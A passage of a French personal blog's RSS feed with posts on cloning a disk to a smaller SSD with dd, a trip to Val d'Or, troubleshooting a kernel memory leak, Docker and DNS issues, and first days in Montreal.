&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/dev/sda &lt;span class=&quot;nv&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/dev/sdg &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;4M &lt;span class=&quot;nv&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;progress
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Si vous avez oublié le progress, vous pouvez afficher l’avancement en tapant dans un autre terminal :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ps aux | &lt;span class=&quot;nb&quot;&gt;grep dd&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# relevez le PID, ici on suppose que c&apos;est 2534&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;watch &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 60 &lt;span class=&quot;nb&quot;&gt;kill&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-USR1&lt;/span&gt; 2534 &lt;span class=&quot;c&quot;&gt;# watch execute la commande toutes les 60 secondes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Vous allez finir avec une erreur car le disque cible est plus petit. C’est normal, enfin attendu.
&lt;em&gt;Si on voulait faire ça bien, on aurait utilisé &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;count&lt;/code&gt; pour copier le bon nombre de blocs. C’est un calcul entre la taille du disk, la taille des blocs et le nombre de blocs copiés. On se serait alors arrêté de copier au bon moment.&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo sync&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour être sûr qu’on a bien écrit les données sur le disque.&lt;/p&gt;

&lt;h2 id=&quot;étape-5---augmenter-la-taille-des-partitions-pour-combler-lespace-vide&quot;&gt;Étape 5 - Augmenter la taille des partitions pour combler l’espace vide&lt;/h2&gt;

&lt;p&gt;On va relancer gparted pour agrandir nos partitions pour utiliser au maximum l’espace disponible. Sachez que si vous n’avez pas de partitions à déplacer, vous pourriez directement augmenter la partition C: depuis Windows dans l’outil de gestion de disque, même si Windows est en train de l’utiliser - bien que je n’ai pas tenté !&lt;/p&gt;

&lt;h2 id=&quot;étape-6---finaliser-votre-installation&quot;&gt;Étape 6 - Finaliser votre installation&lt;/h2&gt;

&lt;p&gt;Il nous reste encore quelques actions à réaliser pour finaliser notre opération :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Installer le SSD à la place du disque dur&lt;/li&gt;
  &lt;li&gt;Fixer les éventuelles erreurs trouvées par Windows&lt;/li&gt;
  &lt;li&gt;Garder votre ancien disque dur en l’état un petit peu afin de vérifier que tout fonctionne bien.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Lorsque j’ai remplacé le disque dur par le SSD, je me suis rendu compte que le BIOS d’un de mes ordinateurs ne reconnaissait pas le SSD… Heureusement, j’avais une autre tour inutilisée, mais à ce jour je n’ai pas de solution. D’autant plus que ce dernier refusait aussi de détecter ma carte SATA en PCI&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 04 Jan 2017 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2017-01-04/cloner-vers-un-disque-plus-petit/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2017-01-04/cloner-vers-un-disque-plus-petit/</guid>
      </item>
    
    
    
      <item>
        <title>Excursion à Val d&apos;Or</title>
        
        <description>&lt;p&gt;Le Vendredi 1er Juillet est férié au Canada, autant en profiter pour voyager. Ayant un ami en stage à Val d’Or, c’était l’occasion de faire d’une pierre deux coups.&lt;/p&gt;

&lt;h2 id=&quot;vendredi-1er-juillet&quot;&gt;Vendredi 1er Juillet&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;4h45&lt;/strong&gt; Je comptais partir depuis le terminus de la ligne de bus 747 qui se rend à l’Aéroport de Montréal, et qui se trouve à côté de mon lieu d’habitation. L’arrêt se trouve au croisement des rues Berri / Ontario selon le site de la STM. Une fois sur place, impossible de trouver cet arrêt. En demandant à Google Maps l’arrêt le plus proche, il me donne le suivant. Je descends donc à l’arrêt Berri / UQAM. À mon arrivée, une note indique qu’en raison de la fête du Canada, les bus 747 ne passent qu’à partir de 9h30 et jusqu’à 15h00. Je crois que regarder les horaires du dimanche était un brin optimiste… Vers 4h55, un bus avec l’inscription spécial mais aux couleurs du bus 747 s’arrête et prend des passagers. Je le vois trop tard, j’étais de l’autre côté de la route.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5h00&lt;/strong&gt; Mon téléphone s’étant connecté sur EDUROAM (le réseau WiFi de la recherche et de l’éducation supérieure), j’en profite pour installer Uber. Étant donné l’heure et le jour férié, ce dernier m’annonce une majoration de 1.4x. Trois chauffeurs refusent de prendre ma course, probablement à cause des tensions avec les taxis. Ici aussi Uber fait des émules. Cependant mon attente ne fut pas bien longue car 3 minutes plus tard un chauffeur m’attendait au coin de la rue.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5h20&lt;/strong&gt; Finalement ces péripéties m’ont permis d’arriver à l’Aéroport de Montréal bien plus tôt que prévu. À mon arrivée, je ne trouve personne au comptoir Air Creebec. On me dit que l’enregistrement commence vers 6h00 - 6h30. J’en profite pour me poser et commencer à écrire cet article.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6h00&lt;/strong&gt; Je me rends au comptoir, je m’enregistre. Je passe les contrôles de sécurité. Vers 6h25 je trouve la porte d’embarquement au fond de l’aéroport.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-salle-attente.jpg&quot; alt=&quot;Salle d&apos;attente&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7h45&lt;/strong&gt; Décollage…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-avion.jpg&quot; alt=&quot;Salle d&apos;attente&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9h00&lt;/strong&gt; Jolie vue lors de mon arrivée sur Val d’Or et son aéroport.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-paysage.jpg&quot; alt=&quot;Vue d&apos;avion de Val d&apos;Or&quot; /&gt;
&lt;img src=&quot;/assets/images/posts/val-d-or-aeroport.jpg&quot; alt=&quot;Aéroport de Val d&apos;Or&quot; /&gt;&lt;/p&gt;

&lt;p&gt;À mon arrivée, je commence par essuyer un refus de la part de Budget, loueur de voiture, car ma carte de crédit n’est pas acceptée par leur système.
Nous nous déplacerons donc à pied !
Nous avons commencé par visiter la ville et particulièrement la 3ème avenue, l’avenue commerçante de Val d’Or.&lt;/p&gt;

&lt;p&gt;La 3ème avenue du côté de l’université, vers la sortie de la ville.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-ville-1.jpg&quot; alt=&quot;Visite de la ville&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Et l’autre côté, avec toutes les boutiques.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-ville-2.jpg&quot; alt=&quot;Visite de la ville&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On peut trouver beaucoup de choses à Val d’Or. La preuve, voilà une galerie d’art !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-ville-3.jpg&quot; alt=&quot;Visite de le ville, une galerie d&apos;art&quot; /&gt;&lt;/p&gt;

&lt;p&gt;L’UQAT, l’Université du Québec en Abitibi-Témiscamingue où William et ses colocataires sont en stage.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-uqat.jpg&quot; alt=&quot;UQUAT&quot; /&gt;&lt;/p&gt;

&lt;p&gt;L’après-midi étant très pluvieux, nous sommes restés à l’intérieur, l’occasion de tester l’Ostie de jeu et ses questions existentielles.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-ostie-de-jeu.jpg&quot; alt=&quot;L&apos;Ostie d&apos;jeu&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;samedi-2-juillet&quot;&gt;Samedi 2 juillet&lt;/h2&gt;

&lt;p&gt;Le lendemain, nous avons commencé la journée par un solide brunch, aux couleurs italiennes. Enfin, c’est ce qui est écrit sur la carte !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-brunch-1.jpg&quot; alt=&quot;Le Brunch&quot; /&gt;
&lt;img src=&quot;/assets/images/posts/val-d-or-brunch-2.jpg&quot; alt=&quot;Le Brunch&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nous avons ensuite enchaîné sur la visite de la Cité de l’Or. Nous avons pris la visite express qui dure tout de même 2 heures, ce qui laisse le temps de couvrir pas mal de sujets.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-cite-de-l-or-1.jpg&quot; alt=&quot;Cité de l&apos;Or&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On commence la visite dans les laboratoires, là où étaient analysés les échantillons pour connaître leur teneur en or.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-cite-de-l-or-3.jpg&quot; alt=&quot;Cité de l&apos;Or&quot; /&gt;&lt;/p&gt;

&lt;p&gt;La visite se poursuit dans la mine, à la lampe frontale. Les conditions de travail semblent loin d’être idéales.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-cite-de-l-or-2.jpg&quot; alt=&quot;Cité de l&apos;Or&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;dimanche-3-juillet&quot;&gt;Dimanche 3 juillet&lt;/h2&gt;

&lt;p&gt;Pour mon dernier jour, nous commençons la visite par la tour Rotary après avoir trouvé un loueur de vélos.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-rotary-1.jpg&quot; alt=&quot;La tour Rotary&quot; /&gt;
&lt;img src=&quot;/assets/images/posts/val-d-or-rotary-2.jpg&quot; alt=&quot;Point de vue sur val d&apos;or de la tour&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Notre seconde étape du jour était la plage Rotary. 30 minutes de vélo plus tard, nous y voilà.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/val-d-or-plage-1.jpg&quot; alt=&quot;Plage 1&quot; /&gt;
&lt;img src=&quot;/assets/images/posts/val-d-or-plage-2.jpg&quot; alt=&quot;Plage 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Mais ces 3 jours à Val d’Or sont déjà terminés.
Mon avion est à 17h45.&lt;/p&gt;

&lt;p&gt;Nous avons pu finalement voir beaucoup de choses, et n’avons pas trop été handicapés par le manque de voiture.
Les gens que nous avons rencontrés étaient tous gentils.
Un petit clin d’oeil à William qui s’est vu qualifier son vélo d’antiquité par un habitant de Val d’Or passant à côté !&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Merci à William Misson pour ses photos de la mine.&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 01 Jul 2016 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2016-07-01/val-d-or/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2016-07-01/val-d-or/</guid>
      </item>
    
    
    
      <item>
        <title>Florilège de bugs</title>
        
        <description>&lt;p&gt;Ces derniers temps, j’ai fais face à une série noire de bugs sur mes serveurs. Il y a une théorie qui dit que dans le monde du logiciel libre, vous êtes toujours responsable quand une erreur arrive. L’objectif de cet article est donc de me servir d’aide mémoire, de réfléchir sur les solutions possibles et peut-être d’aider certaines personnes qui rencontreraient ce problème.&lt;/p&gt;

&lt;h2 id=&quot;fuite-mémoire-dans-le-noyau-linux&quot;&gt;Fuite mémoire dans le noyau Linux&lt;/h2&gt;

&lt;p&gt;Le premier bug a touché mon serveur auto-hébergé suite à une coupure de courant.
Étant à 6 000km de ce dernier, ce n’est pas facile de diagnostiquer d’où vient le problème.
J’ai d’abord pensé à un problème sur le réseau.
Quand au final, je me suis aussi aperçu que mes graphes &lt;a href=&quot;http://munin-monitoring.org/&quot;&gt;munin&lt;/a&gt; en local étaient coupés.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/bugs-munin-1.png&quot; alt=&quot;Graphe d&apos;utilisation de la mémoire vive Munin&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Mais par contre rien ne semble suspicieux à première vue. Donc on constate que depuis la coupure électrique et donc le redémarrage, le serveur fonctionne pendant deux heures en moyenne et se coupe. Mais est toujours sous tension. Ca ressemble beaucoup à quelque chose comme un kernel panic.&lt;/p&gt;

&lt;p&gt;L’étape suivante la plus logique est donc de se pencher sur les logs. Pour le coup, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;journalctl&lt;/code&gt; ne m’a pas été d’une grande aide. Il n’avait qu’un historique depuis le dernier démarrage. Par contre, j’ai quand même trouvé un fichier &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/syslog&lt;/code&gt;. Un point qui me fait dire que la gestion des logs peut-être très différente en fonction des distributions Linux et de la configuration de la stack systemd &amp;amp; co. Et donc on trouve entre autre des centaines de lignes comme celle là :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Apr 13 19:12:02 deuxfleurs kernel: [30185.865364] Out of memory: Kill process 20580 (munin-node) score 0 or sacrifice child
Apr 13 19:12:02 deuxfleurs kernel: [30185.873404] Killed process 20580 (munin-node) total-vm:6592kB, anon-rss:228kB, file-rss:2972kB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Comme quoi notre Linux n’aurait plus de RAM. Je pensais donc au début à un processus qui utiliserait toute la RAM. Ce qui n’est pas le cas après vérification de &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;htop&lt;/code&gt;.
Qui plus est, on vient de le voir, Linux tue les processus qui consomment trop de RAM quand cette dernière vient à manquer.&lt;/p&gt;

&lt;p&gt;Ayant installé &lt;a href=&quot;https://github.com/firehol/netdata&quot;&gt;netdata&lt;/a&gt; pour avoir un meilleur suivi, je constate l’augmentation régulière de la RAM au fur et à mesure du temps :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/bugs-netdata-1.png&quot; alt=&quot;Graphe d&apos;utilisation de la mémoire vive NetData&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Les graphes Munin n’étaient pas assez précis pour que je puisse constater cette augmentation.&lt;/p&gt;

&lt;p&gt;Ne reste plus que le noyau. Et tout ce qui gravite autour, noyau monolithique oblige. La première commande qui m’est conseillé est &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slabtop&lt;/code&gt; :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Active / Total Objects (% used)    : 669706 / 851401 (78,7%)
Active / Total Slabs (% used)      : 37806 / 37811 (100,0%)
Active / Total Caches (% used)     : 67 / 103 (65,0%)
Active / Total Size (% used)       : 131870,09K / 152821,89K (86,3%)
Minimum / Average / Maximum Object : 0,02K / 0,18K / 4096,00K

OBJS ACTIVE  USE OBJ SIZE  SLABS OBJ/SLAB CACHE SIZE NAME                  
203091 202656  99%    0,19K   9671       21     38684K kmalloc-192
181973  82014  45%    0,05K   2563       71     10252K buffer_head
97824  88395  90%    0,12K   3057       32     12228K dentry
79680  63313  79%    0,65K  13280        6     53120K ext4_inode_cache
50204  27400  54%    0,02K    308      163      1232K Acpi-Namespace
46872  45239  96%    0,03K    378      124      1512K kmalloc-32
36580  17572  48%    0,03K    295      124      1180K jbd2_revoke_record_s
34619  31975  92%    0,30K   2663       13     10652K radix_tree_node
25536  25496  99%    0,07K    456       56      1824K kernfs_node_cache
18612  18599  99%    0,11K    517       36      2068K ext4_groupinfo_4k
14868  13350  89%    0,09K    354       42      1416K vm_area_struct
14289  13963  97%    0,34K   1299       11      5196K inode_cache
8820   7649  86%    0,06K    140       63       560K kmalloc-node
8715   7895  90%    0,05K    105       83       420K anon_vma
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Le résultat ne m’a pas semblé aberrant. Mais peut-être qu’avec des connaissances plus poussées, il aurait été possible de détecter le problème depuis slabtop.&lt;/p&gt;

&lt;p&gt;En parallèle de ces recherches, j’avais entrepris une grosse mise à jour du système. Une fois terminée, je redémarre sur le nouveau noyau. C’est une migration du noyau&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-none&quot;&gt;Linux deuxfleurs.fr 4.3.0-1-686-pae #1 SMP Debian 4.3.5-1 (2016-02-06) i686 GNU/Linux
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;au&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-none&quot;&gt;Linux deuxfleurs.fr 4.4.0-1-686-pae #1 SMP Debian 4.4.6-1 (2016-03-17) i686 GNU/Linux
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Le problème est alors résolu, je savais que ça venait du noyau car la mémoire vive augmentait de manière continue sans qu’aucune application identifiée en soit la cause. Maintenant, il s’agit de savoir où et pourquoi.&lt;/p&gt;

&lt;p&gt;Après quelques recherches, j’ai trouvé la réponse sur la mailing list &lt;a href=&quot;https://lkml.org/lkml/2015/12/6/113&quot;&gt;lkml&lt;/a&gt;. C’est bien une fuite mémoire sur un pilote qui tourne dans le noyau. Plus exactement le pilote realtek, qui est utilisé par les dongles wifi USB.&lt;/p&gt;

&lt;p&gt;Après vérification sur ma machine, en effet il était bien là :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-none&quot;&gt;Bus 004 Device 002: ID 0846:9041 NetGear, Inc. WNA1000M 802.11bgn [Realtek RTL8188CUS]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Le patch tient en 2 lignes, il manquait juste un free pour libérer la mémoire allouée.&lt;/p&gt;

&lt;div class=&quot;language-diff highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;---
drivers/net/wireless/realtek/rtlwifi/usb.c | 2 ++
1 file changed, 2 insertions(+)
&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;gh&quot;&gt;diff --git a/drivers/net/wireless/realtek/rtlwifi/usb.c b/drivers/net/wireless/realtek/rtlwifi/usb.c
index 2721cf8..aac1ed3 100644
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;--- a/drivers/net/wireless/realtek/rtlwifi/usb.c
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+++ b/drivers/net/wireless/realtek/rtlwifi/usb.c
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@@ -531,6 +531,8 @@&lt;/span&gt; static void _rtl_usb_rx_process_noagg(struct ieee80211_hw *hw,
       ieee80211_rx(hw, skb);
     else
       dev_kfree_skb_any(skb);
&lt;span class=&quot;gi&quot;&gt;+  } else {
+    dev_kfree_skb_any(skb);
&lt;/span&gt;   }
 }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Cet épisode fut l’occasion pour moi de découvrir comment un serveur se comporte en l’absence de mémoire vive libre, comment est géré la mémoire vive dans le noyau. J’ai eu beaucoup de chance que le bug soit déjà corrigé.&lt;/p&gt;

&lt;p&gt;Il semble qu’un outil nommé &lt;a href=&quot;https://www.kernel.org/doc/Documentation/kmemleak.txt&quot;&gt;kmemleak&lt;/a&gt; a été créé dans l’objectif de découvrir ce genre de bugs. La question que tout le monde se pose : est ce que ça aurait pu arriver sur Windows ? Je ne sais pas, mais Microsoft propose aussi des outils pour vérifier ses pilotes, nommés &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff545448(VS.85).aspx&quot;&gt;Driver Verifier&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;docker&quot;&gt;Docker&lt;/h2&gt;

&lt;p&gt;Après plus de 200 jours d’uptime sur un CoreOS, j’ai commencé à rencontrer quelques problèmes. Mais avant de vous en faire part, je profite de ce billet pour attirer votre attention sur l’importance des fichiers &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.dockerignore&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;En effet, lorsque vous allez lancer un &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker build&lt;/code&gt;, ce dernier va envoyer votre contexte au daemon Docker. Le contexte, de ce que j’en ai compris est l’ensemble des fichiers dans votre répertoire courant.&lt;/p&gt;

&lt;p&gt;Il se trouve que dans mon répertoire courant se trouve aussi les données que je veux garder (persister). Et que ces derniers peuvent faire plusieurs gigaoctets. Ces données seront alors envoyé à chaque build au daemon docker, monopolisant des ressources pour rien, et surtout ça prend du temps. Le fichier &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.dockerignore&lt;/code&gt; permet donc de préciser quels dossiers et fichiers ne pas envoyer au daemon, comme un &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gitignore&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Mais revenons à nos moutons. Au bout de ces 200 jours, lorsque je relançais un conteneur, ce dernier n’avait plus accès à internet.&lt;/p&gt;

&lt;p&gt;En relançant ce conteneur un certains nombre de fois, il a fini par fonctionner. Ce qui est vraiment bizarre. De ce que j’ai pu lire sur internet, d’autres personnes ont rencontré ce problème plus ou moins &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/docker.io/+bug/1509867&quot;&gt;ici&lt;/a&gt; et &lt;a href=&quot;https://github.com/docker/docker/issues/866#issuecomment-19218300&quot;&gt;là&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;La solution proposée est en général d’arrêter Docker, de supprimer le bridge, puis de le redémarrer. Ayant une version assez vieille, j’en ai profité pour mettre Docker à jour.&lt;/p&gt;

&lt;p&gt;Au redémarrage, tout se passe bien, sauf qu’un container ne veut plus se lancer.
L’erreur est pour le moins cryptique :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-none&quot;&gt;Error response from daemon: Could not find container for entity id 20d3aad...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Il me semble que cette erreur était provoquée par :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/bin/docker rm php1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Encore une fois, c’est un &lt;a href=&quot;https://github.com/docker/docker/issues/17691&quot;&gt;bug connu&lt;/a&gt;. De ce que j’ai compris, Docker possède une base de donnée sqlite, dans lequel il stocke les id des containers, et probablement des informations à leur sujet. Il semble qu’une entrée dans cette base de donnée pointe vers un dossier n’existant plus. Il est typique de la mise à jour de docker 1.8 vers docker 1.9. La solution proposée est la suppresion de la base de données et des containers existants.&lt;/p&gt;

&lt;p&gt;Je me suis personnellement contenté de ne plus utiliser l’identifiant php1, que j’ai remplacé par php-01. En sachant que dans ma base de donnée, cet identifiant restera un fantôme à tout jamais… ou jusqu’à que je le supprime manuellement.&lt;/p&gt;

&lt;h2 id=&quot;les-dns-de-google&quot;&gt;Les DNS de Google&lt;/h2&gt;

&lt;p&gt;J’ai aussi un serveur VPN, partagé avec quelques amis, permettant de s’affranchir de certaines restrictions imposés par un pare feu un peu récalcitrant.&lt;/p&gt;

&lt;p&gt;Ce dernier est configuré afin de fournir des serveurs DNS au client. Afin de me simplifier la vie, j’avais alors fourni ceux de google, les très célèbres 8.8.8.8 et 8.8.4.4.&lt;/p&gt;

&lt;p&gt;Mon service VPN fonctionnait très bien, jusqu’au jour où plus de connexion internet. En remontant, je finis bien par découvrir que le problème vient de la résolution DNS. La commande ping fonctionne très bien mais impossible de résoudre un nom de domaine.&lt;/p&gt;

&lt;p&gt;Mais le problème est dur à identifier, car parfois la résolution fonctionne. Ca peut être dû à plusieurs facteurs différents, mais sachez que Windows n’hésite pas à faire des requêtes sur les serveurs DNS de tous les réseaux de la machine, pouvant au passage révéler les sites que vous voulez consulter.&lt;/p&gt;

&lt;p&gt;Depuis OpenVPN 2.3.9, il existe une option de configuration nommée &lt;em&gt;block-outside-dns&lt;/em&gt; qui permet de résoudre ce problème sous Windows. Pour plus d’information, voici le &lt;a href=&quot;https://community.openvpn.net/openvpn/ticket/605&quot;&gt;bug report&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;En passant sur le serveur, le ping fonctionne très bien. Par contre, au moment de réaliser une requête avec dig, le serveur DNS de google ne répondait plus. Finalement, j’ai décidé de tenter un autre serveur DNS, celui de mon hébergeur. Cette fois-ci ça a marché.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/bugs-dns-2.png&quot; alt=&quot;dig&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Après avoir laissé un ticket chez mon hébergeur, voici leur réponse :&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Il arrive de temps en temps que Google bloque les requêtes venant de certaines IPs ou certaines plages d’IP pour diverses raisons, je ne pourrais donc que vous inviter à utiliser d’autres serveurs DNS que les leurs.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Vous voilà donc prévenu ! Les serveurs DNS de Google c’est bien pour utilisation domestique, c’est tout !&lt;/p&gt;

&lt;p&gt;En somme ces quelques bugs m’ont permis de découvrir beaucoup de choses - et ont aussi mis à l’épreuve mon calme légendaire…&lt;/p&gt;
</description>
        <pubDate>Tue, 19 Apr 2016 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2016-04-19/quelques-bugs-etonnants/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2016-04-19/quelques-bugs-etonnants/</guid>
      </item>
    
    
    
      <item>
        <title>Premiers jours à Montréal</title>
        
        <description>&lt;p&gt;En quelques jours à Montréal nous avons vu et fait beaucoup de choses. Dépaysement garanti à 100%. Et cette fois-ci, j’ai pris des photos.&lt;/p&gt;

&lt;h2 id=&quot;découverte-du-quartier&quot;&gt;Découverte du quartier&lt;/h2&gt;

&lt;p&gt;Nous nous trouvons du côté de Côte des Neiges, derrière le Mont Royal. C’est un quartier sous la neige que nous avons découvert (il porte bien son nom, je sais). La vue au petit matin est jolie (pas un nuage). De quoi se motiver pour aller à Polytechnique pour s’inscrire.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-1.jpg&quot; alt=&quot;Notre rue&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nous avons décidé de braver le froid canadien et de nous y rendre à pied. Le campus universitaire de Montréal regroupe notre école, HEC ainsi que l’université. C’est assez impressionant. Et petite subtilité, beaucoup de batiments communiquent entre eux par des tunnels, de sorte qu’une fois à l’intérieur, vous n’avez plus besoin de sortir.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-2.jpg&quot; alt=&quot;L&apos;université de Montréal&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;excursion-au-mont-royal&quot;&gt;Excursion au Mont Royal&lt;/h2&gt;

&lt;p&gt;Polytechnique Montréal se trouvant juste à côté du Mont Royal, nous avons décidé de nous y rendre à pied. Bon, en fait juste à côté, c’est vite assez loin au Canada. Le temps d’atteindre le Pavillon du lac aux Castors, il faisait nuit. Le lieu est par contre sublime sous la neige. Et il y a une patinoire !&lt;/p&gt;

&lt;p&gt;En arrivant, nous sommes accueillis par ce traineau illuminé.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-3.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Avant de monter sur la glace, une photo s’impose. On remarquera que même si Loïc a l’air petit à côté du soldat, ce n’est pas totalement de sa faute, car il n’a pas de tambour comme ce dernier pour paraitre plus grand.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-4.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Les arbres illuminés se trouvent en réalité au milieu de la patinoire, dont nous pouvons faire le tour. Parfait pour une soirée romantique.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/premier-jour-6.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

